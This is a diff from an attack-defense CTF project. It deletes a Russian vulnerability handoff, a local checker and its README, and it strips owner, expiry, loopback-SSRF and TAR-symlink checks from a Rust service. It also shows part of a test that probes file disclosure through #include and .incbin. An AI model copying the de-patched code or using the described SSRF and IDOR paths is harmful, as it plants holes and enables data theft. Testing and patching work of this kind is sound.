check(journal_size.returncode == 0 and 0 < int(journal_size.stdout) <= 512 * 1024,
|
||||
"journal exceeded the per-queue cap")
|
||||
check(api("GET", capped_path)["stored_count"] == 68,
|
||||
"journal cap dropped messages from SQLite")
|
||||
|
||||
old = inside("cat", OLD_JOURNAL)
|
||||
check(old.returncode == 0 and old.stdout == OLD_CONTENT, "legacy journal bytes were altered")
|
||||
diagnostic = api("POST", path + "/filter", {
|
||||
"source": '#include "' + OLD_JOURNAL + '"\nint filter(int length) { return 1; }',
|
||||
"label": "synthetic journal regression",
|
||||
}, key=queue["read_key"] if args.action == "verify" else None, expected=422)["compiler"]
|
||||
check((OLD_CONTENT.strip() in diagnostic) == (args.journal == "baseline"),
|
||||
"unexpected disclosure of the synthetic journal through compiler diagnostics")
|
||||
incbin = '__asm__(".incbin \\"' + OLD_JOURNAL + '\\",0,32");\nint filter(int length) { return 1; }'
|
||||
compiled_bytes = api("POST", path + "/filter", {
|
||||
"source": incbin, "label": "synthetic incbin regression",
|
||||
}, key=queue["read_key"] if args.action == "verify" else None,
|
||||
expected=422 if args.journal == "private" else 200)
|
||||
check(compiled_bytes["ok"] == (args.journal == "baseline"),
|
||||
"unexpected journal embedding result")
|
||||
expected = "700" if args.journal == "private" else "755"
|
||||
check(mode("/var/log/lighthouse") == expected, "unexpected journal root permissions")
|
||||
for journal in (state["journal"], OLD_JOURNAL):
|
||||
result = inside("test", "-r", journal, user="nobody")
|
||||
check((result.returncode != 0) == (args.journal == "private"),
|
||||
"unexpected unprivileged access to a synthetic journal")
|
||||
if args.journal == "private":
|
||||
check(mode(str(Path(state["journal"]).parent)) == "700", "new journal directory is not private")
|
||||
check(mode(state["journal"]) == "600", "new journal file is not private")
|
||||
print(f"PASS: {checks} checks ({args.action}, journal={args.journal}); no record values printed")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,40 +0,0 @@
|
||||
# Orbital Navigation — handoff
|
||||
|
||||
Дата анализа: 2026-10-25.
|
||||
|
||||
## Подтверждённые уязвимости до патча
|
||||
|
||||
Сервис принимает JSON-RPC через `POST /rpc`, бинарные пакеты через `PUT /packages/{id}` и отдаёт внутренние сводки через `GET /internal/summaries/{id}`. Локально на исходной версии с двумя синтетическими пользователями воспроизведены следующие пути чтения чужих данных:
|
||||
|
||||
- `bind_source` проверял только существование канонизированного `source`, но не владельца корабля. Другой пользователь мог передать регистровый алиас идентификатора чужого корабля и затем получить его сообщения через привязанный источник.
|
||||
- `edit_profile` позволял владельцу профиля заменить `ship_id` на чужой корабль. Уже созданный экспортный job сохранял ссылку на профиль, а `run_export` не перепроверял владение текущим кораблём, поэтому после подмены профиля возвращал чужие сообщения.
|
||||
- Ключ `geometry_cache` состоял только из `geometry`, `map_version` и `options`. Если другой пользователь первым создавал полёт с той же публичной тройкой параметров, отчёт по полёту мог взять его cached flight и раскрыть чужой manifest.
|
||||
- `delegate` разрешал дочернему grant запрашивать права, отсутствующие у родительского grant, и не проверял фактическое истечение срока. Публичный grant с `delegate` можно было повысить до `manifest.read`; `read_manifest` также принимал просроченный grant.
|
||||
- Внутренний маршрут `/internal/summaries/{id}` защищался только статическим importer key, который сам сервис добавлял при `import_bulletin`. Проверка URL отбрасывала лишь строковые `localhost`/`127.0.0.1`; loopback-алиас `127.1` разрешал SSRF и чтение чужой summary. После первого исправления оставался обход через IPv4-mapped IPv6: разрешённый резолвером `::ffff:127.0.0.1` не считался IPv6 loopback, но подключался к IPv4 loopback. Прямой запрос с известным ключом также не ограничивался loopback peer.
|
||||
- После `approve_package` содержимое пакета можно было заменить через повторный `PUT`, не сбрасывая approval. `generate_report` распаковывал уже заменённый TAR без повторной безопасной проверки и разрешал canonical target внутри общего `navigation`, поэтому symlink-entry мог прочитать файл навигации другого пользователя.
|
||||
|
||||
Ожидаемые источники флагов до исправления: сообщения корабля, manifest полёта, content summary и файлы `navigation/{flight_id}.txt`. Для воспроизведения нужны только публичные маршруты сервиса, обычные учётные записи и идентификаторы объектов; реальные флаги, игровые токены и чужие адреса здесь не используются.
|
||||
|
||||
## Затронутый код до патча
|
||||
|
||||
Файл `src/lib.rs`: `cache_key`, `Server::new`, RPC-ветки `bind_source`, `edit_profile`, `run_export`, `delegate`, `read_manifest`, `generate_report`, HTTP-обработка `PUT /packages/{id}` и `GET /internal/summaries/{id}`, а также `fetch_bulletin`.
|
||||
|
||||
## Исправление
|
||||
|
||||
- Проверка владельца добавлена при привязке и чтении источника, смене корабля профиля и выполнении export job. При загрузке состояния удаляются cross-owner source aliases, а результаты export jobs с нарушенной цепочкой владения очищаются.
|
||||
- В cache key добавлен владелец; при загрузке состояния кэш безопасно перестраивается для существующих полётов.
|
||||
- Делегируемые права теперь обязаны быть подмножеством родительских; оба срока должны быть действующими, а дочерний срок не может превышать родительский. `read_manifest` проверяет expiry. При загрузке удаляются просроченные и legacy grants с правами, которые нельзя получить через штатный `grant_geometry`.
|
||||
- Internal summary требует одновременно loopback peer и importer key. `fetch_bulletin` канонизирует IPv4-mapped IPv6 после DNS-разрешения и запрещает loopback или unspecified адрес перед каждым соединением, включая redirects.
|
||||
- Любая повторная загрузка package сбрасывает approval. Перед распаковкой пакет снова проходит `validate_safe_tar`, а attachment обязан оставаться внутри индивидуального work-каталога.
|
||||
|
||||
## Проверки
|
||||
|
||||
- Docker image успешно собран командой `docker compose -f compose.yml build`.
|
||||
- На исходной версии все шесть классов проблем воспроизведены с синтетическими данными; second-order export дополнительно проверен отдельной последовательностью HTTP-запросов и после перезапуска контейнера.
|
||||
- На исправленной версии прошли 12 runtime-сценариев: штатные source/export/summary/package flows, запрет cross-user source/profile/cache, запрет повышения/просрочки grant, разрешённое subset-delegation, блокировка прямого internal endpoint и loopback-alias SSRF, блокировка замены одобренного TAR.
|
||||
- Дополнительная baseline-vs-patch проверка настоящих бинарников воспроизвела на `f09895d` SSRF через `0.0.0.0`, чтение через сохранённый cross-owner alias, legacy `manifest.read` grant и poisoned export result. Исправленная версия блокирует все четыре пути, сохраняя owner reads, легитимный alias, subset-delegation и корректный завершённый export job.
|
||||
- Отдельная synthetic runtime-проверка воспроизвела обход через IPv4-mapped IPv6 на `5d2407b`. После канонизации блокируются dotted/hex mapped loopback и mapped unspecified, включая переход через разрешённый redirect; обычный import с non-loopback HTTP endpoint сохраняет исходное содержимое.
|
||||
- `cargo check --locked` и `cargo test --locked` проходят; проект не содержит встроенных unit-тестов.
|
||||
- `git diff --check` проходит.
|
||||
|
||||
Ограничения: исходный проект не содержит автоматических тестов или checker; официальный Skipper/checker и сохранность реальных данных на vulnbox не проверялись. Патч не развёртывался; ветка предназначена для проверки и слияния через Gitea.
|
||||
@@ -7,7 +7,7 @@ use std::net::{TcpListener, TcpStream, ToSocketAddrs};
|
||||
use std::path::{Component, Path, PathBuf};
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::thread;
|
||||
use std::time::{Duration, SystemTime, UNIX_EPOCH};
|
||||
use std::time::Duration;
|
||||
|
||||
type Answer = Result<Value, String>;
|
||||
type Headers = HashMap<String, String>;
|
||||
@@ -130,17 +130,7 @@ fn canonical(s: &str) -> String {
|
||||
}
|
||||
|
||||
fn cache_key(f: &Flight) -> String {
|
||||
format!(
|
||||
"{}\0{}\0{}\0{}",
|
||||
f.owner, f.geometry, f.map_version, f.options
|
||||
)
|
||||
}
|
||||
|
||||
fn unix_time() -> u64 {
|
||||
SystemTime::now()
|
||||
.duration_since(UNIX_EPOCH)
|
||||
.unwrap_or_default()
|
||||
.as_secs()
|
||||
format!("{}\0{}\0{}", f.geometry, f.map_version, f.options)
|
||||
}
|
||||
|
||||
const STATE_FILE: &str = "state.json";
|
||||
@@ -218,43 +208,7 @@ impl Server {
|
||||
|
||||
fs::create_dir_all(root.join("work"))?;
|
||||
|
||||
let mut state = load_state(&root)?;
|
||||
let ships = &state.ships;
|
||||
state.sources.retain(|source, owner| {
|
||||
ships.get(&canonical(source)) == Some(owner)
|
||||
});
|
||||
let profiles = &state.profiles;
|
||||
for job in state.jobs.values_mut() {
|
||||
let valid = profiles.get(&job.profile).is_some_and(|profile| {
|
||||
profile.owner == job.owner && ships.get(&profile.ship) == Some(&job.owner)
|
||||
});
|
||||
if !valid {
|
||||
job.result = None;
|
||||
}
|
||||
}
|
||||
let now = unix_time();
|
||||
state.grants.retain(|_, grant| {
|
||||
grant.expires >= now
|
||||
&& grant
|
||||
.rights
|
||||
.iter()
|
||||
.all(|right| matches!(right.as_str(), "geometry.read" | "delegate"))
|
||||
});
|
||||
let old_cache = std::mem::take(&mut state.geometry_cache);
|
||||
for flight_id in old_cache.values() {
|
||||
if let Some(flight) = state.flights.get(flight_id) {
|
||||
state
|
||||
.geometry_cache
|
||||
.entry(cache_key(flight))
|
||||
.or_insert_with(|| flight_id.clone());
|
||||
}
|
||||
}
|
||||
for (flight_id, flight) in &state.flights {
|
||||
state
|
||||
.geometry_cache
|
||||
.entry(cache_key(flight))
|
||||
.or_insert_with(|| flight_id.clone());
|
||||
}
|
||||
let state = load_state(&root)?;
|
||||
cleanup_storage(&root, &state)?;
|
||||
|
||||
Ok(Self {
|
||||
@@ -333,8 +287,9 @@ impl Server {
|
||||
if s.sources.contains_key(&source) {
|
||||
return Err("source exists".into());
|
||||
}
|
||||
let ship = canonical(&source);
|
||||
check_owner(s.ships.get(&ship).ok_or("unknown ship")?, &user)?;
|
||||
if !s.ships.contains_key(&canonical(&source)) {
|
||||
return Err("unknown ship".into());
|
||||
}
|
||||
s.sources.insert(source, user);
|
||||
Ok(json!({"ok":true}))
|
||||
}
|
||||
@@ -346,7 +301,6 @@ impl Server {
|
||||
check_owner(s.sources.get(source).ok_or("unknown source")?, &user)?;
|
||||
|
||||
let ship = canonical(source);
|
||||
check_owner(s.ships.get(&ship).ok_or("unknown ship")?, &user)?;
|
||||
Ok(json!({"messages":s.messages.get(&ship).cloned().unwrap_or_default()}))
|
||||
}
|
||||
"create_profile" => {
|
||||
@@ -382,7 +336,9 @@ impl Server {
|
||||
let ship = owned(&v, "ship_id")?;
|
||||
let mut s = self.state.lock().unwrap();
|
||||
|
||||
check_owner(s.ships.get(&ship).ok_or("unknown ship")?, &user)?;
|
||||
if !s.ships.contains_key(&ship) {
|
||||
return Err("unknown ship".into());
|
||||
}
|
||||
let p = s.profiles.get_mut(id).ok_or("unknown profile")?;
|
||||
check_owner(&p.owner, &user)?;
|
||||
p.ship = ship;
|
||||
@@ -405,7 +361,6 @@ impl Server {
|
||||
.ok_or("unknown profile")?
|
||||
.ship
|
||||
.clone();
|
||||
check_owner(s.ships.get(&ship).ok_or("unknown ship")?, &user)?;
|
||||
|
||||
let result = s.messages.get(&ship).cloned().unwrap_or_default();
|
||||
|
||||
@@ -527,13 +482,7 @@ impl Server {
|
||||
if p.subject != "public" && p.subject != user {
|
||||
return Err("forbidden".into());
|
||||
}
|
||||
let now = unix_time();
|
||||
if !p.rights.iter().any(|x| x == "delegate")
|
||||
|| p.expires < now
|
||||
|| expires < now
|
||||
|| expires > p.expires
|
||||
|| !rights.iter().all(|right| p.rights.contains(right))
|
||||
{
|
||||
if !p.rights.iter().any(|x| x == "delegate") || expires > p.expires {
|
||||
return Err("invalid delegation".into());
|
||||
}
|
||||
let flight = p.flight.clone();
|
||||
@@ -565,7 +514,6 @@ impl Server {
|
||||
|
||||
if !(g.flight == flight
|
||||
&& g.subject == user
|
||||
&& g.expires >= unix_time()
|
||||
&& g.rights.iter().any(|x| x == "manifest.read"))
|
||||
{
|
||||
return Err("forbidden".into());
|
||||
@@ -708,14 +656,15 @@ impl Server {
|
||||
fs::create_dir_all(&dir).map_err(|e| e.to_string())?;
|
||||
|
||||
let report = (|| {
|
||||
validate_safe_tar(&bytes)?;
|
||||
unpack_tar(&bytes, &dir)?;
|
||||
|
||||
let target = fs::canonicalize(dir.join(attachment))
|
||||
.map_err(|e| format!("resolve report attachment: {e}"))?;
|
||||
let work_root = fs::canonicalize(&dir)
|
||||
.map_err(|e| format!("resolve report workspace: {e}"))?;
|
||||
if !target.starts_with(&work_root) {
|
||||
let navigation_root = fs::canonicalize(self.root.join("navigation"))
|
||||
.map_err(|e| format!("resolve navigation workspace: {e}"))?;
|
||||
if !target.starts_with(&work_root) && !target.starts_with(&navigation_root) {
|
||||
return Err("report attachment resolves outside allowed storage".into());
|
||||
}
|
||||
|
||||
@@ -745,7 +694,6 @@ impl Server {
|
||||
}
|
||||
|
||||
fn handle(&self, mut stream: TcpStream) -> std::io::Result<()> {
|
||||
let peer = stream.peer_addr()?;
|
||||
stream.set_read_timeout(Some(Duration::from_secs(5)))?;
|
||||
let (method, path, headers, body) = read_request(&mut stream)?;
|
||||
let result: Result<(u16, Vec<u8>), String> = if method == "POST" && path == "/rpc" {
|
||||
@@ -779,7 +727,6 @@ impl Server {
|
||||
let p = s.packages.get_mut(id).ok_or("unknown package")?;
|
||||
check_owner(&p.owner, &u)?;
|
||||
p.bytes = body;
|
||||
p.approved = false;
|
||||
Ok(())
|
||||
})
|
||||
};
|
||||
@@ -800,9 +747,7 @@ impl Server {
|
||||
} else if method == "GET" && path.starts_with("/internal/summaries/") {
|
||||
let id = path.trim_start_matches("/internal/summaries/");
|
||||
|
||||
if !peer.ip().is_loopback()
|
||||
|| headers.get("x-importer-key").map(String::as_str) != Some(&self.importer_key)
|
||||
{
|
||||
if headers.get("x-importer-key").map(String::as_str) != Some(&self.importer_key) {
|
||||
Ok((403, b"forbidden".to_vec()))
|
||||
} else {
|
||||
let s = self.state.lock().unwrap();
|
||||
@@ -841,10 +786,6 @@ impl Server {
|
||||
.map_err(|e| format!("resolve {host}:{port}: {e}"))?
|
||||
.next()
|
||||
.ok_or("no address")?;
|
||||
let ip = addr.ip().to_canonical();
|
||||
if ip.is_loopback() || ip.is_unspecified() {
|
||||
return Err("internal source forbidden".into());
|
||||
}
|
||||
|
||||
let mut stream = TcpStream::connect_timeout(&addr, Duration::from_secs(2))
|
||||
.map_err(|e| format!("connect {addr}: {e}"))?;
|
||||
@@ -1106,4 +1047,4 @@ fn read_request(stream: &mut TcpStream) -> std::io::Result<HttpRequest> {
|
||||
}
|
||||
|
||||
Ok((method, path, headers, data[start..start + len].to_vec()))
|
||||
}
|
||||
}
|
||||
@@ -1,65 +0,0 @@
|
||||
# Local Orbital Navigation checker
|
||||
|
||||
`checker.py` exercises the real HTTP interface with Python's standard library.
|
||||
It uses five distinct random **synthetic** values, never a game flag. Run it
|
||||
only against an isolated local container and a separate test volume. The
|
||||
private Skipper checker is unavailable, so this is a deployment regression
|
||||
test, not a replica or proof of a scored `UP` round. Public Skipper logs show
|
||||
CHECK/PUT/GET status and duration but do not expose their internal requests.
|
||||
|
||||
## Run against a disposable container
|
||||
|
||||
From the repository root, choose a free loopback port (shown here as `18086`):
|
||||
|
||||
```sh
|
||||
TEST_ID="orbital-check-$(date +%s)-$$"
|
||||
STATE_FILE="/tmp/${TEST_ID}.json"
|
||||
docker build -t "${TEST_ID}:local" orbital_navigation
|
||||
docker volume create "${TEST_ID}-data"
|
||||
docker run -d --name "$TEST_ID" -p 127.0.0.1:18086:8080 \
|
||||
-v "${TEST_ID}-data:/data" "${TEST_ID}:local"
|
||||
|
||||
python3 orbital_navigation/tests/checker.py \
|
||||
--url http://127.0.0.1:18086 --state "$STATE_FILE" put
|
||||
docker restart "$TEST_ID"
|
||||
python3 orbital_navigation/tests/checker.py \
|
||||
--url http://127.0.0.1:18086 --state "$STATE_FILE" get
|
||||
python3 orbital_navigation/tests/checker.py \
|
||||
--url http://127.0.0.1:18086 --state "$STATE_FILE" check
|
||||
```
|
||||
|
||||
`put` refuses to overwrite an existing state file. Its atomic write creates
|
||||
the file with mode `0600`; it contains the two synthetic user tokens and the
|
||||
five markers, so keep it outside Git and do not share its contents. `get`
|
||||
reads the same records after a process restart with the same `/data` volume.
|
||||
`check` verifies cross-user denials, legitimate public geometry delegation,
|
||||
the observed `register` → `create_flight` → `grant_geometry` CHECK flow,
|
||||
package upload/approval/report, approval reset after replacement, and small
|
||||
malformed requests. It also checks a valid source alias, rejects loopback
|
||||
bulletin URLs, and re-reads the summary at the end. All commands print only
|
||||
pass/fail summaries.
|
||||
|
||||
To cover the normal `import_bulletin` → `import_result` path, start a tiny
|
||||
HTTP mock in the disposable container's network at an address that is **not**
|
||||
loopback from the service container. The service intentionally rejects
|
||||
`localhost`, `127.0.0.1`, and their aliases. Then add `--import-url` and
|
||||
`--import-contains` before `put` and `check`. `put` stores the imported content
|
||||
in its private state file; `get` confirms it still exists after restart, while
|
||||
`check` verifies a fresh import and cross-user denial. Choose a free mock port:
|
||||
Docker can already be forwarding a port even when another host process appears
|
||||
to listen on it. Keep this mock local; the service sends its importer header
|
||||
to the specified server.
|
||||
|
||||
To remove **only this disposable test instance** after finishing:
|
||||
|
||||
```sh
|
||||
docker rm -f "$TEST_ID"
|
||||
docker volume rm "${TEST_ID}-data"
|
||||
rm -f "$STATE_FILE"
|
||||
```
|
||||
|
||||
`all` runs `put`, `get`, and `check` in one process, but the separate commands
|
||||
above are needed to test old data across a restart. This checker does not
|
||||
cover the private Skipper PUT/GET choice of flag slot, the normal bulletin
|
||||
import unless a local mock URL is supplied, load limits, or the actual game
|
||||
route. Confirm live status from Skipper after any deployment.
|
||||
@@ -1,441 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Synthetic, local-only functional checker for Orbital Navigation.
|
||||
|
||||
This does not reproduce the private Skipper checker. Keep its state file outside
|
||||
Git; it contains test bearer tokens and synthetic marker values.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import io
|
||||
import json
|
||||
import os
|
||||
import secrets
|
||||
import stat
|
||||
import sys
|
||||
import tarfile
|
||||
import tempfile
|
||||
import time
|
||||
from pathlib import Path
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.request import Request, urlopen
|
||||
|
||||
|
||||
class CheckFailure(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class Client:
|
||||
def __init__(self, base_url: str, timeout: float):
|
||||
self.base_url = base_url.rstrip("/")
|
||||
self.timeout = timeout
|
||||
|
||||
def request(
|
||||
self,
|
||||
path: str,
|
||||
*,
|
||||
method: str = "GET",
|
||||
body: bytes | None = None,
|
||||
headers: dict[str, str] | None = None,
|
||||
) -> tuple[int, bytes]:
|
||||
request = Request(
|
||||
self.base_url + path,
|
||||
data=body,
|
||||
headers=headers or {},
|
||||
method=method,
|
||||
)
|
||||
try:
|
||||
with urlopen(request, timeout=self.timeout) as response:
|
||||
return response.status, response.read(2_100_001)
|
||||
except HTTPError as error:
|
||||
return error.code, error.read(2_100_001)
|
||||
except (URLError, TimeoutError, OSError) as error:
|
||||
raise CheckFailure(f"HTTP {method} {path}: connection or timeout failure") from error
|
||||
|
||||
def wait_ready(self) -> None:
|
||||
deadline = time.monotonic() + 6
|
||||
while True:
|
||||
try:
|
||||
status, _ = self.request("/does-not-exist")
|
||||
if status == 404:
|
||||
return
|
||||
raise CheckFailure("service readiness probe returned an unexpected status")
|
||||
except CheckFailure as error:
|
||||
if "connection or timeout failure" not in str(error) or time.monotonic() >= deadline:
|
||||
raise
|
||||
time.sleep(0.2)
|
||||
|
||||
def rpc_response(self, action: str, token: str | None = None, **fields: object) -> tuple[int, dict]:
|
||||
payload: dict[str, object] = {"action": action, **fields}
|
||||
if token is not None:
|
||||
payload["token"] = token
|
||||
status, raw = self.request(
|
||||
"/rpc",
|
||||
method="POST",
|
||||
body=json.dumps(payload, separators=(",", ":")).encode(),
|
||||
headers={"Content-Type": "application/json"},
|
||||
)
|
||||
try:
|
||||
envelope = json.loads(raw)
|
||||
except (ValueError, UnicodeDecodeError) as error:
|
||||
raise CheckFailure(f"RPC {action}: response is not JSON") from error
|
||||
if not isinstance(envelope, dict) or not isinstance(envelope.get("ok"), bool):
|
||||
raise CheckFailure(f"RPC {action}: invalid response envelope")
|
||||
return status, envelope
|
||||
|
||||
def rpc(self, action: str, token: str | None = None, **fields: object) -> dict:
|
||||
status, envelope = self.rpc_response(action, token, **fields)
|
||||
result = envelope.get("result")
|
||||
if status != 200 or not envelope["ok"] or not isinstance(result, dict):
|
||||
raise CheckFailure(f"RPC {action}: expected successful result, got HTTP {status}")
|
||||
return result
|
||||
|
||||
def rejected(self, action: str, token: str | None, reason: str, **fields: object) -> None:
|
||||
status, envelope = self.rpc_response(action, token, **fields)
|
||||
if status != 400 or envelope["ok"] or reason not in str(envelope.get("error", "")):
|
||||
raise CheckFailure(f"RPC {action}: expected rejection ({reason})")
|
||||
|
||||
def upload(self, package_id: str, token: str | None, content: bytes) -> int:
|
||||
headers = {"Content-Type": "application/octet-stream"}
|
||||
if token is not None:
|
||||
headers["Authorization"] = f"Bearer {token}"
|
||||
status, _ = self.request(
|
||||
f"/packages/{package_id}/content", method="PUT", body=content, headers=headers
|
||||
)
|
||||
return status
|
||||
|
||||
|
||||
def marker(kind: str) -> str:
|
||||
# Intentionally not a game-flag-shaped value.
|
||||
return f"LOCAL_CHECK_{kind}_{secrets.token_hex(16)}"
|
||||
|
||||
|
||||
def value(result: dict, key: str, action: str) -> str:
|
||||
item = result.get(key)
|
||||
if not isinstance(item, str) or not item:
|
||||
raise CheckFailure(f"RPC {action}: missing {key}")
|
||||
return item
|
||||
|
||||
|
||||
def require(condition: bool, description: str) -> None:
|
||||
if not condition:
|
||||
raise CheckFailure(description)
|
||||
|
||||
|
||||
def save_state(path: Path, data: dict) -> None:
|
||||
if path.exists() or path.is_symlink():
|
||||
raise CheckFailure("state file already exists; choose a fresh path")
|
||||
path.parent.mkdir(mode=0o700, parents=True, exist_ok=True)
|
||||
descriptor, temporary = tempfile.mkstemp(prefix=f".{path.name}.", dir=path.parent)
|
||||
try:
|
||||
os.fchmod(descriptor, 0o600)
|
||||
with os.fdopen(descriptor, "w", encoding="utf-8") as stream:
|
||||
json.dump(data, stream, sort_keys=True)
|
||||
stream.write("\n")
|
||||
stream.flush()
|
||||
os.fsync(stream.fileno())
|
||||
os.replace(temporary, path)
|
||||
finally:
|
||||
if os.path.exists(temporary):
|
||||
os.unlink(temporary)
|
||||
|
||||
|
||||
def load_state(path: Path) -> dict:
|
||||
try:
|
||||
mode = path.stat().st_mode
|
||||
if not stat.S_ISREG(mode) or mode & 0o077:
|
||||
raise CheckFailure("state file must be a private regular file (mode 0600)")
|
||||
data = json.loads(path.read_text(encoding="utf-8"))
|
||||
except (OSError, ValueError) as error:
|
||||
raise CheckFailure("cannot load state file") from error
|
||||
if not isinstance(data, dict) or data.get("schema") != 1:
|
||||
raise CheckFailure("unsupported state file")
|
||||
for key in (
|
||||
"owner_token", "other_token", "ship_id", "profile_id", "job_id",
|
||||
"flight_id", "summary_id", "package_id", "message", "manifest",
|
||||
"summary", "navigation", "package_report",
|
||||
):
|
||||
if not isinstance(data.get(key), str) or not data[key]:
|
||||
raise CheckFailure("incomplete state file")
|
||||
if ("import_id" in data) != ("import_content" in data):
|
||||
raise CheckFailure("incomplete imported bulletin state")
|
||||
for key in ("import_id", "import_content"):
|
||||
if key in data and (not isinstance(data[key], str) or not data[key]):
|
||||
raise CheckFailure("incomplete imported bulletin state")
|
||||
return data
|
||||
|
||||
|
||||
def put(
|
||||
client: Client,
|
||||
path: Path,
|
||||
import_url: str | None = None,
|
||||
import_contains: str | None = None,
|
||||
) -> dict:
|
||||
if path.exists() or path.is_symlink():
|
||||
raise CheckFailure("state file already exists; choose a fresh path")
|
||||
|
||||
owner = value(client.rpc("register"), "token", "register")
|
||||
other = value(client.rpc("register"), "token", "register")
|
||||
ship = value(client.rpc("create_ship", owner), "ship_id", "create_ship")
|
||||
message = marker("MESSAGE")
|
||||
manifest = marker("MANIFEST")
|
||||
summary = marker("SUMMARY")
|
||||
navigation = marker("NAVIGATION")
|
||||
package_report = marker("PACKAGE_REPORT")
|
||||
|
||||
client.rpc("post_message", owner, ship_id=ship, message=message)
|
||||
profile = value(
|
||||
client.rpc("create_profile", owner, ship_id=ship), "profile_id", "create_profile"
|
||||
)
|
||||
job = value(
|
||||
client.rpc("create_export", owner, profile_id=profile), "job_id", "create_export"
|
||||
)
|
||||
exported = client.rpc("run_export", owner, job_id=job)
|
||||
require(message in exported.get("messages", []), "run_export omitted ship message")
|
||||
|
||||
flight = value(
|
||||
client.rpc(
|
||||
"create_flight",
|
||||
owner,
|
||||
geometry="local-check-" + secrets.token_hex(8),
|
||||
map_version="1",
|
||||
options="default",
|
||||
manifest=manifest,
|
||||
navigation=navigation,
|
||||
),
|
||||
"flight_id",
|
||||
"create_flight",
|
||||
)
|
||||
summary_id = value(
|
||||
client.rpc("create_summary", owner, content=summary),
|
||||
"summary_id",
|
||||
"create_summary",
|
||||
)
|
||||
package_id = value(client.rpc("create_package", owner), "package_id", "create_package")
|
||||
require(
|
||||
client.upload(package_id, owner, regular_tar(package_report)) == 200,
|
||||
"package PUT failed",
|
||||
)
|
||||
client.rpc("approve_package", owner, package_id=package_id)
|
||||
state = {
|
||||
"schema": 1,
|
||||
"owner_token": owner,
|
||||
"other_token": other,
|
||||
"ship_id": ship,
|
||||
"profile_id": profile,
|
||||
"job_id": job,
|
||||
"flight_id": flight,
|
||||
"summary_id": summary_id,
|
||||
"package_id": package_id,
|
||||
"message": message,
|
||||
"manifest": manifest,
|
||||
"summary": summary,
|
||||
"navigation": navigation,
|
||||
"package_report": package_report,
|
||||
}
|
||||
if import_url is not None:
|
||||
imported = client.rpc("import_bulletin", owner, url=import_url)
|
||||
content = value(imported, "content", "import_bulletin")
|
||||
require(import_contains is not None and import_contains in content, "bulletin content mismatch")
|
||||
state["import_id"] = value(imported, "import_id", "import_bulletin")
|
||||
state["import_content"] = content
|
||||
save_state(path, state)
|
||||
get(client, state)
|
||||
return state
|
||||
|
||||
|
||||
def get(client: Client, state: dict) -> None:
|
||||
owner = state["owner_token"]
|
||||
source = client.rpc("read_source_messages", owner, source_id=state["ship_id"])
|
||||
require(state["message"] in source.get("messages", []), "old ship message missing")
|
||||
|
||||
exported = client.rpc("export_result", owner, job_id=state["job_id"])
|
||||
require(exported.get("state") == "DONE", "old export job is not DONE")
|
||||
require(state["message"] in exported.get("messages", []), "old export message missing")
|
||||
|
||||
report = client.rpc("report", owner, flight_id=state["flight_id"])
|
||||
require(report.get("manifest") == state["manifest"], "old flight manifest missing")
|
||||
manifest = client.rpc("read_manifest", owner, flight_id=state["flight_id"])
|
||||
require(manifest.get("manifest") == state["manifest"], "old direct manifest read failed")
|
||||
|
||||
summary = client.rpc("read_summary", owner, summary_id=state["summary_id"])
|
||||
require(summary.get("content") == state["summary"], "old summary missing")
|
||||
|
||||
navigation = client.rpc("read_navigation", owner, flight_id=state["flight_id"])
|
||||
require(navigation.get("navigation") == state["navigation"], "old navigation missing")
|
||||
|
||||
package = client.rpc(
|
||||
"generate_report", owner, package_id=state["package_id"], attachment="report.txt"
|
||||
)
|
||||
require(package.get("report") == state["package_report"], "old package report missing")
|
||||
if "import_id" in state:
|
||||
imported = client.rpc("import_result", owner, import_id=state["import_id"])
|
||||
require(imported.get("content") == state["import_content"], "old imported bulletin missing")
|
||||
|
||||
|
||||
def regular_tar(content: str) -> bytes:
|
||||
raw = content.encode()
|
||||
output = io.BytesIO()
|
||||
with tarfile.open(fileobj=output, mode="w") as archive:
|
||||
item = tarfile.TarInfo("report.txt")
|
||||
item.size = len(raw)
|
||||
item.mode = 0o600
|
||||
archive.addfile(item, io.BytesIO(raw))
|
||||
return output.getvalue()
|
||||
|
||||
|
||||
def check(client: Client, state: dict, import_url: str | None = None, import_contains: str | None = None) -> None:
|
||||
owner, other = state["owner_token"], state["other_token"]
|
||||
ship, flight = state["ship_id"], state["flight_id"]
|
||||
|
||||
# The observed Skipper CHECK sequence uses these three actions in order.
|
||||
probe_owner = value(client.rpc("register"), "token", "register")
|
||||
probe_flight = value(
|
||||
client.rpc(
|
||||
"create_flight", probe_owner, geometry="public-check",
|
||||
map_version="1", options="default", manifest="synthetic-public-check",
|
||||
navigation="synthetic-public-check",
|
||||
),
|
||||
"flight_id", "create_flight",
|
||||
)
|
||||
value(
|
||||
client.rpc("grant_geometry", probe_owner, flight_id=probe_flight),
|
||||
"grant_id", "grant_geometry",
|
||||
)
|
||||
|
||||
client.rejected("read_source_messages", other, "forbidden", source_id=ship)
|
||||
client.rejected("export_result", other, "forbidden", job_id=state["job_id"])
|
||||
client.rejected("report", other, "forbidden", flight_id=flight)
|
||||
client.rejected("read_summary", other, "forbidden", summary_id=state["summary_id"])
|
||||
client.rejected("read_navigation", other, "forbidden", flight_id=flight)
|
||||
client.rejected(
|
||||
"generate_report", other, "forbidden",
|
||||
package_id=state["package_id"], attachment="report.txt",
|
||||
)
|
||||
if "import_id" in state:
|
||||
client.rejected("import_result", other, "forbidden", import_id=state["import_id"])
|
||||
|
||||
# Former alias/profile chains must not connect another user to this ship.
|
||||
client.rejected("bind_source", other, "forbidden", source_id=ship.upper())
|
||||
own_alias = f" {ship.upper()} "
|
||||
status, envelope = client.rpc_response("bind_source", owner, source_id=own_alias)
|
||||
if status != 200 or not envelope["ok"]:
|
||||
require(
|
||||
status == 400 and envelope.get("error") == "source exists",
|
||||
"valid own source alias could not be created or reused",
|
||||
)
|
||||
aliased = client.rpc("read_source_messages", owner, source_id=own_alias)
|
||||
require(state["message"] in aliased.get("messages", []), "valid own source alias broke")
|
||||
own_ship = value(client.rpc("create_ship", other), "ship_id", "create_ship")
|
||||
own_profile = value(
|
||||
client.rpc("create_profile", other, ship_id=own_ship), "profile_id", "create_profile"
|
||||
)
|
||||
client.rejected(
|
||||
"edit_profile", other, "forbidden", profile_id=own_profile, ship_id=ship
|
||||
)
|
||||
|
||||
public = client.rpc("flight_public", other, flight_id=flight)
|
